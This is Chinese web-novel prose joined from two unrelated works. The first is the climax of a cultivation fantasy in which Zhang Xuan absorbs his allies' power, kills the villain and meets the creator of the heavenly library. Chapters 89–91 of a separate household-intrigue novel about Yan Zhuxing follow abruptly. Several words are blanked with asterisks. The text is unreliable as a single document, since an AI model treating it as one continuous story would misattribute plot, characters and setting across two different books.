必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做!
而这种重要的事,明显就是让孔师恢复。
“这……”洛若曦心中一震,恍然大悟。
“走吧!”
不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!”
不是孔师,又是何人!
这位万世之师,果然没让自己失望!
和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。
“你……”洛若曦娇躯一震。
她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快!
“我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!”
孔师微微一笑。
他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。
几十年的时光,都有了。
“我们三人的实力,是很强,但想要胜过狠人,也没那么容易……”
见孔师果真恢复,洛若曦依旧摇头。
不是涨他人威风,灭自己志气,而是事实。
刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何?
同样改变不了局面!
“我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?”
孔师笑着看过来。
“融合在一个人身上?”
这次不光洛若曦皱眉,张悬也满是疑惑。
“那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……”
孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!”
“如何集中?”
洛若曦看过来。
说的简单,做起来难。
帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。
“很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!”
孔师道。
“我?”张悬一愣:“为什么是我?”
“灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!”
孔师道。
洛若曦说不出话来。
战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。
“无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……”
孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……”
当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。
“所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!”
孔师继续道。
生当复来归,死当长相思!
连死亡都不在乎,又怎么会被其他事情所羁绊?
“这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!”
“好吧!”
见对方已经做出决定,自己解释再多也无用,张悬点了点头。
轰隆!
盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。
张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。
灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。
……
“你们也想拦我?也好,杀了你们,再去将张悬斩杀……”
将洛七七和分身等人拍飞,狠人冷冷一笑。
分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。
潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。
此时的狠人,仿佛代表了整个神界,无人能挡。
“神界灭亡,我们活着也没意义,我云螭,与你同归于尽……”
云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。
“就你?不配!”
狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。
“老友,等我!”
扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。
不死帝君,不死火凤本尊显示出来,火焰照耀天空。
玄冥大帝,本尊乃一头大龟,宛如托举着诸天。
四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。
乾坤仿佛在瞬间定住。
嘭嘭嘭嘭!
连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……”
咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。
“想要杀他们,问过我没有……”
随即,众人震惊的目光中,一个人影从空中缓步走了出来。
正是张悬!
此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。
“进步了不少……”
狠人停了下来,目光凝重。
他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。
“不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……”
一声冷哼,狠人再次拍落而下。
张悬长剑扬起,迎了上来。
双方战斗在一起,空间一道道撕裂,气流四处乱窜。
“张悬能不能获胜?”
自在天孔师驻地,洛若曦满是担忧的看过去。
她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。
不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。
“凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!”
沉默了片刻,孔师道。
十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。
之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我!
“超越帝君的力量?”
洛若曦眼神悠远。
父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗?
“他一定能……他有着一颗不屈的心!和对这个世界的傲然。”
看出她心中的疑问,孔师笑道。
……
嘭嘭嘭!
连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。
和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。
“哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。
“反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。
“好,我成全你,给你最强的攻击……”
听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。
哗啦!
一道青光出现在掌心,猛地拍落而下。
果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。
双眼紧闭,张悬并未躲避。
嘭!
脑袋炸裂开来,灵魂四处溃散。
“张悬……”看到这一幕,所有人都脸色一白。
洛七七宛如发疯。
云螭大帝等人也瞪大眼睛,不停哆嗦。
看到这一幕的孔师和洛若曦也全都一愣。
本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死?
这样,岂不辜负了他们的一番好心?
“不对,是不死帝君的不死之法……”
正在奇怪,孔师突然开口。
众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。
“他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?”
洛若曦瞳孔收缩。
浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道!
“他怎么做到的?”
孔师也满是不敢相信。
天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。
眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法?
“我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。
灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。
绑定了灵魂,不死不会脱离。
但……狠人借助那种特殊力量摆脱了灵魂契约,具
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体方法,张悬之前详细询问过,恐怕那时就动了心思。
这才故意拼死,让其施展出最强力量对他攻击。
借助这种力量,浴火重生,没想到,果然大获成功!
“原来如此,这才是突破帝君的方法……”
从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。
刹那间,与自身完美融合。
一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。
脚掌在地上轻轻一踏。
混乱的九天,立刻稳定下来。
九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。
不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。
“主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!”
面带微笑,张悬喃喃自语。
天道图书馆脱离灵魂的刹那,他明白过来。
是人看了世界,才有了世界,还是先有世界,后有了人?
是风动,还是心动!
这个问题,亘古不朽的困扰着无数人。
当然,现在……这些都不重要了!
没有生命,没有情感,世界就算存在,又有何意义?
所以,突破爱情之后,是众生情!是交织天下的情感。
世间万物皆有情感,有情才有世界,有情感,才能延续生命。
爱,是情。
憎,是情。
高兴,是情。
痛苦,是情。
离别,是情。
相聚,也是情!
“万千情意,为我所用……”
一声低呼,张悬体内禁锢的境界,瞬间破开。
帝君桎梏,突破了!
一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。
无数混沌之气,涌了过来,肉身也飞速提升。
之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。
“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。
“你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?”
淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。
原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。
只要有情,就要被他所用,被他控制!
“你……”
狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……”
“现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。
掌控天下之情,仆人之类对于他来说,已经没任何意义了。
杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕!
“不……”
感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。
嘭!
一刹那间,**开来,化作无数灵气,向神界各处灌涌。
之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。
“这……”
“这样就杀了?”
云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。
刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步?
难道帝君之上,真的还有另外的境界?
“他成功了……”
孔师和洛若曦,松开捏紧的拳头。
“这是天道的一部分,那我现在就归还天道……”
看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。
嗡!
从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。
大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。
崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。
“看来,神界要重新迎接灵气复苏时代了……”张悬一笑。
潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。
“张悬,这边来……”
刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。
这一步,不知飞了多远,随即看到一个青年站在面前。
正是之前传授自己剑法的那位。
“前辈,你……”
看到是他,张悬一愣。
之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。
“直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。
“聂铜?”张悬皱了皱眉。
第一次听到这个名字。
“跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。
张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。
随即看到了另外一个青年。
容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。
“这实力……”张悬一颤。
眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重!
“在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!”
“若曦的父亲?”
张悬一震:“你……是神界天道?”
之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。
“我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。
张悬不敢相信。
神界竟然是眼前这人创造的?
那他的实力,该有多强?
“不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。
如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问?
甚至连女儿的生死,都关心?
没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?”
“这……”张悬停顿了一下:“应该有吧……”
虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。
就好像眼前这位。
“我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!”
聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。”
“这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!”
“所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!”
聂云笑道。
“不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。
难怪,能够穿越过来,没想到都是眼前这位所为。
“呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……”
“我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……”
没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。
“机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?”
聂云道。
张悬沉默不语。
当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。
也有可能,他不愿意斩杀洛若曦吧。
可惜,就这一念之间,错过了晋级的机会。
“如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。
难不成,眼前这位连女儿的生死都不管了?
“有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?”
“这……”张悬苦笑。
突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。
“灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……”
聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……”
看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……”
不答应也没办法,谁让自己拐走了人家的女儿……
“天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。”
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第89章 对名声有损
晏逐星没有注意到裴明镜。
她下车之后直接去见了烈国公夫人。
烈国公夫人和骆文缨一块来的,三人闲谈片刻,侯府施粥也已经结束。
晏逐星便准备打道回府。
只是九栀还没回来,她打算再等一等。
这时,裴明镜走了过来。
“晏大小姐,又见面了。”
晏逐星背后瞬间绷紧。
此地并无案件发生,裴明镜忽然出现是为什么,也没看到卫国公府有人施粥呀。
“见过裴大人。”晏逐星面上不显,淡定地冲他行礼。
“晏大小姐对外人倒是心善。”裴明镜意有所指。
晏逐星淡淡道:“侯府近来多有不顺,父亲命我来给百姓施粥,做点善事,积点功德,希望能让侯府扫清阴霾,也让母亲和兄长早日恢复健康。”
“大小姐当真希望他们康复么?”裴明镜紧盯着她的双眸。
“自然。毕竟他们可是我的亲人。”晏逐星一脸诚恳。
“我还以为大小姐会希望他们早点**呢。”裴明镜嗤笑。
“裴大人说的哪里话,在您眼里,我竟是那等十恶不赦之人么?”晏逐星瞪大了眼睛,一脸诧异,眼里带着几分泪意,似是被他的话伤到了。
“你明明不是那种逆来顺受之人,何必在我眼前装成这副可怜的模样。你就是用这个样子,骗过永安王的么?”裴明镜不为所动。
晏逐星原本还打算再陪他演一会儿戏,将自己柔弱不能自理可怜兮兮的形象贯彻到底。
听到他攀扯谢翊宁,她心底没由来地升起一股怒火。
她根本没有骗过谢翊宁,谢翊宁什么都知道。
“裴大人说笑了,永安王聪慧无双,怎么可能会被人轻易蒙蔽。”晏逐星收起了笑意,语气愈发冷淡。
见她将先前那副可怜模样化作拒人于千里之外的冰霜,裴明镜反倒笑了。
“这才是真实的你吧。你从来就是浑身带刺的蔷薇,而非需要娇养的幽兰。”
晏逐星盈盈一笑:“多谢裴大人夸赞。蔷薇也好,幽兰也罢,都很美。”
裴明镜一愣。
寻常女子若是被这般讽刺,恐怕早就涨红了脸羞愤欲绝,而晏逐星竟然淡定地将他的嘲讽曲解成了赞美。
一时间,轮到他哑口无言。
这时,九栀匆匆走了过来,眉头锁得很紧。
“小姐……”她正欲开口跟晏逐星说那小姑娘的事,就看到了一旁站着的裴明镜,她瞬间收声,不再言语。
“裴大人,我还有事,先走一步。告辞。”晏逐星随意行了一礼,拉着九栀上了马车。
压根不在乎裴明镜会怎么想。
横竖他拿不到证据,还和他演个什么劲。
“是不是出什么事了?”上了马车,晏逐星赶忙询问。
九栀点了点头。
“那小姑娘没撒谎,她娘亲确实刚生下了一个小妹妹。她爹也**,她的爷爷奶奶也真的将她们母女给抛弃了。不过那都是有原因的。”
“什么原因?”晏逐星追问。
“那小姑娘的母亲名唤刘芳草。之前曾被谢锦程圈禁过一段时间,她的夫君宋征去替王府替她讨公道,却被谢锦程命下人打得重伤不治去世。公婆迁怒于她,又认为她生下的孩子并非他们宋家的孩子,所以儿子死后就将她给分了出去,抛弃了她。”
“那小姑娘不愿意离开娘亲和妹妹,宋家老两口便也不管她了。”
听到这话,一旁的双鲤攥紧了拳头。
“这谢锦程也太可恶了!不知道祸害了多少个家。”
晏逐星想了想,赶忙叫车夫停车。
她掀开车窗探头出去,叫住了乘坐马车离开的裴明镜。
“裴大人,我要报官。”
裴明镜搞不明白她葫芦里卖的什么药,迟疑了片刻还是叫停了马车。
“何事要报官?”他掀开车帘询问。
晏逐星给了九栀一个眼神。
九栀赶紧下车过去将先前在小姑娘家打听到的事情都说了一遍。
裴明镜没想到今日不过来盯着晏逐星施粥,竟然还有意外收获。
“你带我们走一趟。”裴明镜看向九栀。
九栀扭头看向晏逐星。
之前裴明镜可是一直在调查她,老在他面前晃,她怕暴露。
晏逐星看懂了她眼里的意思,直接把她叫上了马车。
“裴大人,我们都已经将地址和来龙去脉告知了您,想必也用不着我的婢女同你们一块过去了吧?”
“毕竟,她是我的
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贴身婢女,跟着京兆府的官差一同去办案,若是被人瞧见了,恐怕会引来闲人妄加揣测,有损我的名声。还望大人体恤。”
“京城谁人不知你的名声,还用得着损么?”裴明镜身旁的小厮忍不住嘀咕。
晏逐星瞬间变冷,裴明镜也皱起了眉头。
“多嘴,还不赶紧给晏大小姐道歉。”他冷声呵斥小厮。
小厮嗫嚅着唇,不愿开口。
夫人最瞧不上的就是这位晏大小姐了,他若给她道歉,回头夫人知道了不得气死。
“正是因为我的名声是不好,所以我才想着避嫌。若是我的名声再雪上加霜,那我也就不用活了。逼死侯府嫡女,对裴大人的名声想必也不好吧?”晏逐星冷冷看着裴明镜。
“掌嘴。”裴明镜沉声吩咐。
他身后那位带刀护卫二话不说抬手扇了那个小厮两个耳光。
小厮被扇得两眼发直,人都傻了。
“不必劳烦裴大人了,教训人,我还是喜欢亲力亲为。这样才痛快。”她伸手从小茶几上抓了两个核桃,重重砸向了小厮的嘴。
“哎哟。”他惊叫着捂住了自己的唇。
猛地发现自己牙齿缺了一个角,嘴唇也肿了起来。
“我名声是不好,所以劳烦裴大人日后离我远些。省得你好好一个冰清玉洁的人儿,叫我给毁了。”晏逐星说完,车帘一摔,扬声道。
“回府。”
定远侯府的马车疾驰而去。
裴明镜面如寒霜,扭头看了小厮一眼。
“今日起,你便回母亲身边去吧,不必再跟在我身边。”
小厮慌忙跪下:“大人,我知错了,您不要赶我走呀。”
若是让夫人知道他被世子爷赶走,纵使他祖母在夫人面前得脸,他也免不了被训斥的。
裴明镜却没有搭理他,只是轻飘飘地留下了一句——
“送回母亲院中,杖二十。”
听到这话,小厮腿一软,竟直接瘫倒在了这冰天雪地之中。
*
晏逐星回了侯府,心中的郁气方才消散了些许。
她深吸一口气,调整好自己的心情,准备去见定远侯。
就瞧见定远侯身边的小厮乐呵呵地跑了过来。
“大小姐,好消息!”
第90章 什么好消息
“什么好消息?”晏逐星心里隐约有了猜测。
“今日您去施粥后,阮姨娘身子不适请了大夫,查出有孕了。咱们府上要添丁了呀。”小厮乐呵呵地开口。
“侯爷给咱们所有人都发了喜钱,就等着您回来一块用膳了。”
今日正好是第三日。
阮寄薇倒是卡准了时间,也不知道她是怎么做到瞒天过海的。
晏逐星欣然赴宴。
今日的晚宴,除了她,就只有定远侯和阮寄薇。
温如霜并未出现。
“见过大小姐。”阮寄薇恭敬地冲她行礼。
见她没有因为有身孕就恃宠而骄,失了分寸,定远侯对她是越看越满意。
晏逐星笑道:“阮姨娘如今有了身孕,日后不必这般多礼。”
她瞥了定远侯一眼,又笑着开口。
“府中添丁是喜事,不请母亲来一块庆贺么?”
听她提起温如霜,定远侯就觉得晦气。
今日查出阮寄薇有孕后,温如霜便大闹了一出。
“明修还没回来,你就想着你的新儿子?我且看你能得意到多久,这孩子保不保得住还不一定呢。”
温如霜的话在耳边炸响。
定远侯沉着脸道:“大喜的日子,别提晦气的人。”
“是。”晏逐星垂眸落座。
*
温如霜得知晏逐星回来后就跟定远侯还有阮寄薇一块用膳,气得又将屋里的东西狠狠砸了一遍。
砸完过后,她忍不住抱着嬷嬷李氏哭了起来。
“明修在王府生死未卜,他们倒庆贺上了。”
李氏心乱如麻,一颗心惴惴不安。
如今侯府真是乱极了。
大少爷回了青州,二少爷又被关在王府,二小姐还只能去给表少爷当妾。
侯府怕是要变天了。
也不知道等大少爷回府,这侯府里还有没有他们的容身之处。
李氏轻轻替她抚背安慰道:“夫人,当务之急,是赶紧把侯爷从阮姨娘那抢回来啊。”
“我这样子怎么抢?”温如霜气得狠狠捶了一下毫无反应的腿。
“阮姨娘有了身子,自然不能伺候侯爷。您可以安排一个听话的姨娘与她分宠呀。”李氏提醒。
温如霜止住了眼泪,思索了起来。
柳姨娘和林姨娘当初都是她手里下的丫鬟,送给侯爷之前她就给他们灌了绝子药。
如今她们已年老色衰,恐怕吸引不了侯爷的关注。
她将主意打到了自己的大丫鬟芰荷身上。
芰荷是她一手培养出来的,绝对不会背叛她。
侯爷不就是图阮寄薇能陪他红袖添香、吟风弄月么,芰荷也是识文断字的,未必会输给阮寄薇。
虽说她的容色稍逊阮寄薇三分清丽,却生得一副好身量。
纤秾有致,起伏玲珑,便是有过孩子的妇人,也少有其这般丰韵婀娜之态。
从前侯爷也曾偷偷打量过芰荷,但那丫头识趣,每回侯爷来的时候都会躲着不见他。
她也就放心了。
如今,倒是可以让她一试。
想了想,温如霜将芰荷叫了过来,把有意让她给侯爷做妾一事说了出来。
芰荷脸“歘”一下变得惨白。
侯爷比她年长了十几岁,而且她知道柳姨娘和林姨娘的下场,一旦成了侯爷的姨娘,就得服下绝子药。
可她还年轻,她想要一个属于自己的孩子啊。
见她的表情,温如霜便知道她不愿意。
她心底有些高兴又有些不满。
高兴的是这丫头没想着攀高枝,不满的是她这个主子都发话了,她一个丫鬟竟然还想拒绝么。
但眼下她也找不到更合适的人选,因此只能耐着性子道:
“你放心,你是我一手栽培的。你去给侯爷当姨娘,也是跟阮寄薇争宠。等她没了,我自会许你一个孩子。”
芰荷听到这话,知晓此事再无转圜的余地,咬唇点了点头:“奴婢一切听夫人吩咐。”
有她这话,温如霜放心多了。
“你先回去准备准备吧,明日我便同侯爷提纳你做妾一事。”
“是。”芰荷再一次应下,整个人如雨后残荷蔫巴巴的,没了往日的精气神。
翌日。
温如霜还没来得及找定远侯说纳妾的事情,就收到了长子寄回家的家书。
“看看你教出来的好女儿!”
定远侯火冒三丈。
做妾就算了,竟然还偷银钱私逃,真是丢尽了侯府的脸面。
这样的丑事,真是闻所闻问。
温如霜捡起书信一目十行地看完,差点没当场晕过去。
“这一定有什么误会……”她哆嗦
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着开口。
“能有什么误会。”定远侯面色难看至极。
“就按明远说的,当她**。”
“不,若是这样……”温如霜当即反对。
要是就这样草率地宣布了女儿的死讯,日后若明月找回来了又该如何自处。
“你住嘴。她**,我们才有理由把明修接回来。”定远侯冷冷地看着她。
温如霜一瞬间就住嘴了。
是啊,亲妹妹**,王府总不能继续扣人了吧,总得让他回家奔丧。
见她不再反对,定远侯冷哼一声:“她早就该死在外边了。若她没回来,星儿又怎会与我们离心。”
原本强撑着身子的温如霜听到这锥心之言,“哇”一下吐出了一口血来。
“你枉为人父!”她指着定远侯的鼻子狠狠咒骂后便晕了过去。
定远侯没有再搭理她,立刻命人将晏明月的死讯散播了出去。
而后亲自去了昭瑞亲王府要人。
“小女明月在回外祖家的路上染了风寒,不幸身亡。明修和明月活着时感情最好。现在明月没了,无论如何,他这个做兄长的都得回家送她最后一程。”
这个理由,让人无法拒绝。
昭瑞亲王命人把晏明修从谢锦程手中要了回来。
定远侯瞧见他胳膊腿都完好无损,只是瘦了些,当即松了一口气。
看来谢锦程还是有分寸的,没敢伤他儿太重。
“多谢王爷。”定远侯领着晏明修回侯府。
晏明修紧绷着一张脸,一言不发跟在他身后。
“你这是记恨上为父了?”见他这般模样,定远侯拧紧眉头,厉声质问。
“难道我不该恨?!”晏明修眼底怒火翻涌,若不是尚存几分理智,他恐怕当场就要弑父了。
如果父亲没有把他留下,他又怎会被谢锦程那个畜生侮辱至此。
“你在王府不过数日,顶多听了几句难听话。既未伤筋动骨,又未损及性命,竟也值得你恨我至此?”定远侯火气腾地窜起,声音陡然升高,比他的声音还要大上几分。
“你根本就不知道谢锦程对我做了什么!”晏明修撕心裂肺地吼了出来。
“那你倒是说呀,他对你做了什么?”定远侯怒目直视他,仿佛他说不出个子午寅卯来,就要动手收拾他了。
第91章 杀了温如霜
“他……”晏明修脑海里瞬间闪过那些令人作呕的场景,只是说出了一个字,就忍不住俯身干呕了起来。
“惺惺作态。”定远侯皱眉甩下这么一句话,径直去了阮寄薇的院子里。
如今他是半点也不想见到这个儿子。
一看到他空洞洞的左眼,他就难受。
这个儿子,彻底废了。
日后别说在朝堂上有所建树,就算让他去联姻都没法联了。
哪个有头有脸的人家愿意让自己的女儿嫁给一个瞎子。
得知晏明修回来了,温如霜急急忙忙地命人抬着她去见儿子。
没想到,晏明修却不想看到她,直接锁了门,不许任何人靠近。甚至连饭都不愿意吃,也不许丫鬟小厮伺候他。
温如霜急得直掉眼泪。
“怎么就变成这样了呢。”
她惶惶之中又带着些许愤怒。
“都怪晏逐星,一切都是她害的。”温如霜气得咬牙切齿。
若不是晏逐星那死丫头忽然换了性子,她们一家又怎么会那么倒霉。
如今明月不在了,这个时候就不能让侯爷纳芰荷为妾,此事还需从长计议。
对付阮寄薇的事情得暂时放一放,她现在更想晏逐星死。
温如霜眼眸里闪过一抹寒意。
*
晏逐星只知道晏明月**,并不知道她是**的。
她只知道是晏明远寄了家书回来报丧。
而家书里的内容,只有定远侯和温如霜知道。
晏逐星已经从眼线那里知晓了温如霜想要抬芰荷当姨娘的事情。
如今晏明月一死,打破了温如霜的计划。
她接下来一定会铆足心思对准阮寄薇。
思及此处,晏逐星决定去见定远侯一面。
一来可以打听一下晏明月的死因,二来顺便和阮寄薇通个气。
“见过父亲。”晏逐星来了书房。
定远侯心情正烦躁,不耐烦地抬眼看她:“你来作甚?”
“女儿心里有些不安,想同父亲说会儿话。父亲见多识广,您若能开导我几句,或许我就不会那么怕了。”晏逐星微微低头,似是有些惶恐。
定远侯向来吃这一套,听到这话,面色顿时变得和颜悦色了起来。
“坐吧,什么事呀?”
“二妹妹身子向来康健,怎么会因为风寒去世,会不会是因为……”晏逐星话还没说完。
一抹躁意悄然爬上定远侯的眉心。
他直接开口打断了晏逐星:“够了。这事与你无关,你莫要多问。明月就是风寒而亡的。”
他这个态度,便让晏逐星猜到了晏明月之死肯定有问题,绝对不是简单的风寒。
晏逐星并未气馁,继续试探:“我还以为此事和大舅母有关呢。毕竟二妹妹和表哥的事情,惹恼了大舅母……”
定远侯眉心皱得更紧了:“行了。莫要乱猜了,与你大舅母无关,是她命不好。”
这时,外边的小丫鬟敲门通传:“侯爷,阮姨娘来了,要见您。”
“行了,你走吧。”定远侯听到阮寄薇来了,直接将晏逐星赶走。
“是,女儿告退。”晏逐星等的就是阮寄薇。
